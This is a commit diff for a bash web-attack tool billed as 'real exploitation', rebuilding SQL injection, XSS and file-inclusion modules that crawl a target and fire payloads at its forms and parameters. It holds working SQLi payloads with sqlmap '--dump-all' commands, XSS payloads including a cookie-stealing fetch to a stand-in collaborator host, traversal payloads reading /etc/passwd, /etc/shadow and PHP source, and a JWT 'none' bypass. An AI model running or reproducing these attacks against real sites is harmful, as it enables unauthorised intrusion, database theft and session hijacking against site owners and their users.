v2: real exploitation — discovery phase, nuclei CVE scanning, SQLi/XSS/LFI rebuild
- New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation
This commit is contained in:
drjones
@@ -1,82 +1,165 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 01: SQL Injection
|
||||
# Desc: Database injection attacks (basic, blind, time-based, error-based)
|
||||
# Detect: Forms, login pages, URL parameters, search bars
|
||||
# Vector 01: SQL Injection v2 — Real Exploitation
|
||||
# Desc: Finds injectable params on discovered forms/URLs and exploits them
|
||||
# Detect: Forms with POST params, URL query params, login pages
|
||||
# Severity: CRITICAL
|
||||
# Tools: sqlmap, curl
|
||||
|
||||
vector_sqli() {
|
||||
vector_sqli_v2() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
||||
|
||||
print_info "Testing SQL Injection vectors..."
|
||||
|
||||
# Find injectable parameters
|
||||
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
|
||||
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
|
||||
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
# 1. Basic SQLi test with sqlmap
|
||||
print_info "Hunting SQL Injection..."
|
||||
|
||||
# Get discovered attack surface
|
||||
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
||||
local params=$(get_discovered_params "$domain" 2>/dev/null)
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
|
||||
# If no discovery data, extract from the target page directly
|
||||
if [ -z "$forms" ]; then
|
||||
print_sub "No discovery data. Extracting from target..."
|
||||
local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null)
|
||||
forms=$(echo "$page" | perl -0 -nle 'while (/<form[^>]*>.*?<\/form>/gs) {
|
||||
my $f = $&;
|
||||
my $action = $1 if $f =~ /action="([^"]*)"/;
|
||||
my $method = $1 if $f =~ /method="([^"]*)"/;
|
||||
my @inputs = $f =~ /name="([^"]*)"/g;
|
||||
print "1|$method|$action|@inputs\n" if @inputs;
|
||||
}')
|
||||
fi
|
||||
|
||||
local tested_count=0
|
||||
|
||||
# --- Test forms for SQLi ---
|
||||
if [ -n "$forms" ]; then
|
||||
print_sub "Testing forms for SQL injection..."
|
||||
|
||||
while IFS= read -r form; do
|
||||
[ -z "$form" ] && continue
|
||||
|
||||
local form_method=$(echo "$form" | cut -d'|' -f2)
|
||||
local form_action=$(echo "$form" | cut -d'|' -f3)
|
||||
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
||||
|
||||
# Make absolute URL
|
||||
if [[ "$form_action" == /* ]]; then
|
||||
form_action="${base}${form_action}"
|
||||
elif [[ "$form_action" != http* ]]; then
|
||||
form_action="${base}/${form_action}"
|
||||
fi
|
||||
|
||||
[ -z "$form_action" ] && form_action="$target"
|
||||
|
||||
# Test each parameter with SQLi payloads
|
||||
local payloads=(
|
||||
"'"
|
||||
"1'"
|
||||
"1' OR '1'='1"
|
||||
"1' OR 1=1--"
|
||||
"1' AND SLEEP(3)--"
|
||||
"' OR '1'='1' --"
|
||||
"admin' --"
|
||||
)
|
||||
|
||||
for param in $form_params; do
|
||||
for payload in "${payloads[@]}"; do
|
||||
tested_count=$((tested_count + 1))
|
||||
|
||||
local response=""
|
||||
if [ "$form_method" = "post" ]; then
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
||||
-X POST \
|
||||
-d "$param=$payload" \
|
||||
-b "$param=$payload" \
|
||||
"$form_action" 2>/dev/null)
|
||||
else
|
||||
local test_url="${form_action}${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||
[[ "$form_action" != *\?* ]] && test_url="${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Check for error-based SQLi
|
||||
if echo "$response" | grep -qiE "sql|mysql|syntax|ora-|unclosed|quotation|odbc|driver|mysql_fetch|pg_|sqlite|you have an error"; then
|
||||
print_find "SQLi on $form_action param=$param" "Error-based with payload: $payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (Error-based)
|
||||
DETAIL: SQL injection on $form_action parameter '$param'
|
||||
EVIDENCE: Database error messages with payload: $payload
|
||||
EXPLOIT: sqlmap -u \"$form_action\" --data=\"$param=$payload\" --batch --dump" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-form.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2 # Found it on this form, move on
|
||||
fi
|
||||
done
|
||||
done
|
||||
done <<< "$forms"
|
||||
fi
|
||||
|
||||
# --- Test URL parameters with sqlmap ---
|
||||
if command -v sqlmap &>/dev/null; then
|
||||
print_sub "Running sqlmap (basic scan)..."
|
||||
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
|
||||
print_sub "Running sqlmap on discovered URLs with params..."
|
||||
|
||||
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
|
||||
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
|
||||
print_find "SQL Injection!" "$injectable"
|
||||
|
||||
# Save finding
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection
|
||||
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
|
||||
# Find URLs with parameters
|
||||
local param_urls=$(echo -e "$urls" | grep '\?' | head -5)
|
||||
|
||||
if [ -n "$param_urls" ]; then
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
|
||||
print_sub "sqlmap: $url"
|
||||
local sqlmap_out=$(timeout 90 sqlmap -u "$url" \
|
||||
--batch --level=3 --risk=2 \
|
||||
--random-agent \
|
||||
--threads=5 \
|
||||
--time-sec=3 \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||
2>&1 | tail -30)
|
||||
|
||||
if echo "$sqlmap_out" | grep -qiE "Parameter.*GET|injectable|vulnerable|Type:"; then
|
||||
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -3)
|
||||
print_find "SQLi confirmed by sqlmap!" "$injectable"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (sqlmap confirmed)
|
||||
DETAIL: sqlmap confirmed injection on $url
|
||||
EVIDENCE: $injectable
|
||||
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
|
||||
|
||||
findings=$((findings + 1))
|
||||
EXPLOIT: sqlmap -u \"$url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-sqlmap.txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done <<< "$param_urls"
|
||||
else
|
||||
# No params found — try sqlmap on base URL with common params
|
||||
local common_params=("id" "page" "pid" "cat" "category" "product" "user" "uid" "view" "file" "q" "s" "search" "order")
|
||||
for param in "${common_params[@]}"; do
|
||||
local test_url="${target}?${param}=1"
|
||||
print_sub "sqlmap probing: $param=$test_url"
|
||||
local sqlmap_out=$(timeout 60 sqlmap -u "$test_url" \
|
||||
--batch --level=2 --risk=2 \
|
||||
--random-agent \
|
||||
--threads=5 \
|
||||
--time-sec=3 \
|
||||
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||
2>&1 | tail -20)
|
||||
if echo "$sqlmap_out" | grep -qiE "Parameter|injectable|vulnerable|Type:"; then
|
||||
print_find "SQLi confirmed via $param!" ""
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection
|
||||
DETAIL: sqlmap confirmed injection via param '$param' on $target
|
||||
EVIDENCE: $(echo "$sqlmap_out" | grep -oP "Type: [^)]+\)" | head -1)
|
||||
EXPLOIT: sqlmap -u \"$test_url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-probe.txt"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
# 2. Manual error-based detection
|
||||
print_sub "Checking error-based SQLi..."
|
||||
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
|
||||
|
||||
for payload in "${error_payloads[@]}"; do
|
||||
local test_url="${target}${target}"
|
||||
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
|
||||
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# 3. Time-based blind detection
|
||||
print_sub "Checking time-based blind SQLi..."
|
||||
local sleep_test="${target}"
|
||||
if [[ "$target" == *\?* ]]; then
|
||||
sleep_test="${target}&id=1' OR SLEEP(3)--"
|
||||
else
|
||||
sleep_test="${target}?id=1' OR SLEEP(3)--"
|
||||
print_skip "sqlmap not installed. Manual SQLi checks only."
|
||||
fi
|
||||
|
||||
local start_time=$(date +%s)
|
||||
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
|
||||
local end_time=$(date +%s)
|
||||
local elapsed=$((end_time - start_time))
|
||||
|
||||
if [ "$elapsed" -ge 3 ]; then
|
||||
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SQL Injection (Time-based Blind)
|
||||
DETAIL: Time-based blind SQLi confirmed on $target
|
||||
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
|
||||
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
|
||||
findings=$((findings + 1))
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_ok "No SQL injection found (tested $tested_count payloads)"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
|
||||
@@ -1,63 +1,73 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 02: Cross-Site Scripting (XSS)
|
||||
# Desc: Reflected, Stored, DOM-based XSS detection
|
||||
# Detect: Forms, search bars, URL parameters, comment sections
|
||||
# Vector 02: XSS v2 — Real Confirmed Reflected XSS
|
||||
# Desc: Tests every discovered form/param with multi-context payloads, confirms execution
|
||||
# Detect: Forms, URL params, search bars
|
||||
# Severity: HIGH
|
||||
# Tools: curl, custom payloads
|
||||
# Tools: curl
|
||||
|
||||
vector_xss() {
|
||||
vector_xss_v2() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Testing XSS vectors..."
|
||||
print_info "Hunting XSS..."
|
||||
|
||||
# Get attack surface
|
||||
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
|
||||
# Multi-context XSS payloads
|
||||
local xss_payloads=(
|
||||
"<script>alert(1)</script>"
|
||||
'"><script>alert(1)</script>'
|
||||
"<img src=x onerror=alert(1)>"
|
||||
"';alert(1);//"
|
||||
"\"><img src=x onerror=alert(1)>"
|
||||
"<svg onload=alert(1)>"
|
||||
"<input autofocus onfocus=alert(1)>"
|
||||
"<body onload=alert(1)>"
|
||||
'"><img src=x onerror=alert(1)>'
|
||||
'"><svg onload=alert(1)>'
|
||||
'"><input autofocus onfocus=alert(1)>'
|
||||
'"><body onload=alert(1)>'
|
||||
'"><details open ontoggle=alert(1)>'
|
||||
"'-alert(1)-'"
|
||||
"\"-alert(1)-\""
|
||||
"{{constructor.constructor('alert(1)')()}}"
|
||||
)
|
||||
|
||||
# Test URL parameters
|
||||
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
|
||||
# Context-specific encoding
|
||||
local encoded_payloads=(
|
||||
'\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E'
|
||||
'\%27\%3Balert(1)\%3B\%27'
|
||||
)
|
||||
|
||||
if [ -z "$url_params" ]; then
|
||||
# Test query parameter
|
||||
for payload in "${xss_payloads[@]}"; do
|
||||
local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
||||
print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Cross-Site Scripting (Reflected)
|
||||
DETAIL: Reflected XSS confirmed with payload: $payload
|
||||
EVIDENCE: Payload echoed back in response
|
||||
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
else
|
||||
# Test each parameter
|
||||
for param in $url_params; do
|
||||
local tested=0
|
||||
|
||||
# --- Test URL params ---
|
||||
if [ -n "$urls" ]; then
|
||||
print_sub "Testing URL parameters..."
|
||||
|
||||
# Get unique parameter names
|
||||
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u)
|
||||
|
||||
if [ -z "$param_names" ]; then
|
||||
# No URL params found, test common ones
|
||||
param_names="q search s query id page term keyword input"
|
||||
fi
|
||||
|
||||
for param in $param_names; do
|
||||
for payload in "${xss_payloads[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||
local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
|
||||
local test_url="${target}?${param}=${encoded}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
||||
print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
|
||||
local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
||||
|
||||
# Confirm: payload appears in response UNESCAPED
|
||||
local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/')
|
||||
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
||||
print_find "Confirmed XSS in param '$param'!" "Payload reflected unescaped"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Cross-Site Scripting (Reflected)
|
||||
DETAIL: Reflected XSS in parameter '$param' on $target
|
||||
EVIDENCE: Payload reflected in response
|
||||
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
|
||||
DETAIL: Confirmed XSS in URL parameter '$param' on $target
|
||||
EVIDENCE: Payload rendered in page response
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
@@ -65,11 +75,57 @@ EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</sc
|
||||
done
|
||||
fi
|
||||
|
||||
# Check for DOM XSS indicators
|
||||
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||
if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
|
||||
print_warn "Potential DOM XSS sinks detected in page source"
|
||||
print_info "Manual review recommended for DOM-based XSS"
|
||||
# --- Test form inputs ---
|
||||
if [ -n "$forms" ]; then
|
||||
print_sub "Testing form inputs..."
|
||||
|
||||
while IFS= read -r form; do
|
||||
[ -z "$form" ] && continue
|
||||
|
||||
local form_method=$(echo "$form" | cut -d'|' -f2)
|
||||
local form_action=$(echo "$form" | cut -d'|' -f3)
|
||||
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
||||
|
||||
# Make absolute URL
|
||||
if [[ "$form_action" == /* ]]; then
|
||||
form_action="${base}${form_action}"
|
||||
elif [[ "$form_action" != http* ]]; then
|
||||
form_action="${base}/${form_action}"
|
||||
fi
|
||||
[ -z "$form_action" ] && form_action="$target"
|
||||
|
||||
for param in $form_params; do
|
||||
for payload in "${xss_payloads[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
|
||||
local response=""
|
||||
if [ "$form_method" = "post" ]; then
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
||||
-X POST -d "$param=$payload" "$form_action" 2>/dev/null)
|
||||
else
|
||||
local sep="?"
|
||||
[[ "$form_action" == *\?* ]] && sep="&"
|
||||
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||
response=$(curl -s --connect-timeout 7 --max-time 12 "${form_action}${sep}${param}=${encoded}" 2>/dev/null)
|
||||
fi
|
||||
|
||||
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
||||
print_find "Confirmed XSS in form param '$param'!" "Payload reflected unescaped on $form_action"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Cross-Site Scripting (Form-based)
|
||||
DETAIL: Confirmed XSS in form parameter '$param' on $form_action
|
||||
EVIDENCE: Script payload reflected in response
|
||||
EXPLOIT: <script>fetch('https://COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
done
|
||||
done
|
||||
done <<< "$forms"
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
|
||||
@@ -1,69 +1,134 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 03: Local/Remote File Inclusion
|
||||
# Desc: LFI/RFI via file parameters, path traversal
|
||||
# Detect: file=, page=, include=, template=, load= parameters
|
||||
# Vector 03: LFI v2 — Real File Read
|
||||
# Desc: Finds file params, tests traversal, confirms by reading /etc/passwd
|
||||
# Detect: file=, page=, include=, template=, load=, doc= parameters
|
||||
# Severity: CRITICAL
|
||||
# Tools: curl
|
||||
|
||||
vector_lfi() {
|
||||
vector_lfi_v2() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Testing File Inclusion (LFI/RFI) vectors..."
|
||||
print_info "Hunting LFI..."
|
||||
|
||||
local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
|
||||
local lfi_payloads=(
|
||||
# Common file parameters
|
||||
local file_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content" "inc" "pg" "pdf" "doc" "attachment" "read" "include_file" "include_path")
|
||||
|
||||
# Traversal payloads — confirmed by reading /etc/passwd content
|
||||
local payloads=(
|
||||
"/etc/passwd"
|
||||
"../../../../etc/passwd"
|
||||
"../../../../windows/win.ini"
|
||||
"/proc/self/environ"
|
||||
"../../../../etc/hosts"
|
||||
"../../../../../../etc/passwd"
|
||||
"../../../../../../../etc/passwd"
|
||||
"....//....//....//....//etc/passwd"
|
||||
"..%2f..%2f..%2f..%2fetc%2fpasswd"
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64"
|
||||
"..\\..\\..\\..\\..\\windows\\win.ini"
|
||||
"php://filter/convert.base64-encode/resource=index"
|
||||
"php://filter/convert.base64-encode/resource=config"
|
||||
"/etc/nginx/nginx.conf"
|
||||
"../../../../etc/shadow"
|
||||
"php://filter/convert.base64-encode/resource=../../../../etc/passwd"
|
||||
)
|
||||
|
||||
# Try common LFI parameters
|
||||
for param in "${lfi_params[@]}"; do
|
||||
for payload in "${lfi_payloads[@]}"; do
|
||||
local test_url=""
|
||||
if [[ "$target" == *\?* ]]; then
|
||||
test_url="${target}&${param}=${payload}"
|
||||
else
|
||||
test_url="${target}?${param}=${payload}"
|
||||
fi
|
||||
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
|
||||
print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Local File Inclusion (LFI)
|
||||
DETAIL: LFI via parameter '$param' on $target
|
||||
EVIDENCE: System files readable
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
|
||||
# Check for PHP filter base64
|
||||
if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
|
||||
local decoded=$(echo "$response" | base64 -d 2>/dev/null)
|
||||
if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
|
||||
print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
|
||||
# Passwd confirmation pattern — if we see this, we've READ the file
|
||||
local PASSWD_PATTERN="root:.*:0:0:"
|
||||
|
||||
local tested=0
|
||||
|
||||
# Get URL params from discovery
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
||||
|
||||
# If no params found, try common file params
|
||||
if [ -z "$param_names" ]; then
|
||||
print_sub "No params found. Probing common file parameters..."
|
||||
for param in "${file_params[@]}"; do
|
||||
for payload in "${payloads[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
local test_url="${target}?${param}=${payload}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||
print_find "LFI confirmed! Read /etc/passwd via $param" "Payload: $payload"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: LFI via PHP Filter
|
||||
DETAIL: PHP source code disclosure via php://filter on $target
|
||||
EVIDENCE: Base64 encoded source retrieved and decoded
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
||||
VECTOR: Local File Inclusion
|
||||
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||
EVIDENCE: Successfully read /etc/passwd: $(echo "$response" | grep "root:" | head -1)
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check PHP filter (base64 encoded source)
|
||||
if echo "$payload" | grep -q "php://filter"; then
|
||||
local clean=$(echo "$response" | tr -d '\n\r' | grep -oP '^[A-Za-z0-9+/=]{50,}' | head -1)
|
||||
if [ -n "$clean" ] && [ ${#clean} -gt 50 ]; then
|
||||
local decoded=$(echo "$clean" | base64 -d 2>/dev/null)
|
||||
if echo "$decoded" | grep -qiE "<?php|function|class|config|DB_HOST|password"; then
|
||||
print_find "PHP filter LFI! Source code leaked via $param" ""
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: LFI via PHP Filter
|
||||
DETAIL: PHP source code disclosure on $target via php://filter on '$param'
|
||||
EVIDENCE: Source code retrieved and decoded
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done
|
||||
done
|
||||
else
|
||||
# Test discovered params
|
||||
print_sub "Testing discovered parameters..."
|
||||
for param in $param_names; do
|
||||
for payload in "${payloads[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
local test_url="${target}?${param}=${payload}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||
print_find "LFI confirmed via param '$param'!" "Read /etc/passwd"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Local File Inclusion
|
||||
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||
EVIDENCE: Successfully read /etc/passwd
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-confirmed.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# If no LFI found on existing params, try appending file params
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_sub "No LFI on discovered params. Probing common file parameters..."
|
||||
for param in "${file_params[@]}"; do
|
||||
for payload in "${payloads[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
local test_url="${target}?${param}=${payload}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||
print_find "LFI confirmed via $param!" "Read /etc/passwd"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Local File Inclusion
|
||||
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||
EVIDENCE: Successfully read /etc/passwd
|
||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-probe.txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_ok "No LFI confirmed (tested $tested combos)"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
1|#!/usr/bin/env bash
|
||||
2|# Vector 12: JWT Attacks
|
||||
3|# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
||||
4|# Detect: JWT tokens in cookies, headers, or params
|
||||
5|# Severity: HIGH
|
||||
6|# Tools: curl, jq
|
||||
7|
|
||||
8|vector_jwt() {
|
||||
#!/usr/bin/env bash
|
||||
# Vector 12: JWT Attacks
|
||||
# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
||||
# Detect: JWT tokens in cookies, headers, or params
|
||||
# Severity: HIGH
|
||||
# Tools: curl, jq
|
||||
|
||||
vector_jwt() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local findings=0
|
||||
@@ -46,23 +46,22 @@
|
||||
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
|
||||
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
|
||||
echo "SEVERITY: CRITICAL
|
||||
49|VECTOR: JWT Algorithm Confusion (none)
|
||||
50|DETAIL: Server accepts 'alg:none' JWT token on $target
|
||||
51|EVIDENCE: Token with 'none' alg accepted by server
|
||||
52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
||||
VECTOR: JWT Algorithm Confusion (none)
|
||||
DETAIL: Server accepts 'alg:none' JWT token on $target
|
||||
EVIDENCE: Token with 'none' alg accepted by server
|
||||
EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
|
||||
# Save JWT info for report
|
||||
echo "SEVERITY: INFO
|
||||
58|VECTOR: JWT Token Discovery
|
||||
59|DETAIL: JWT token found on $target
|
||||
60|EVIDENCE: Token: ${jwt:0:80}...
|
||||
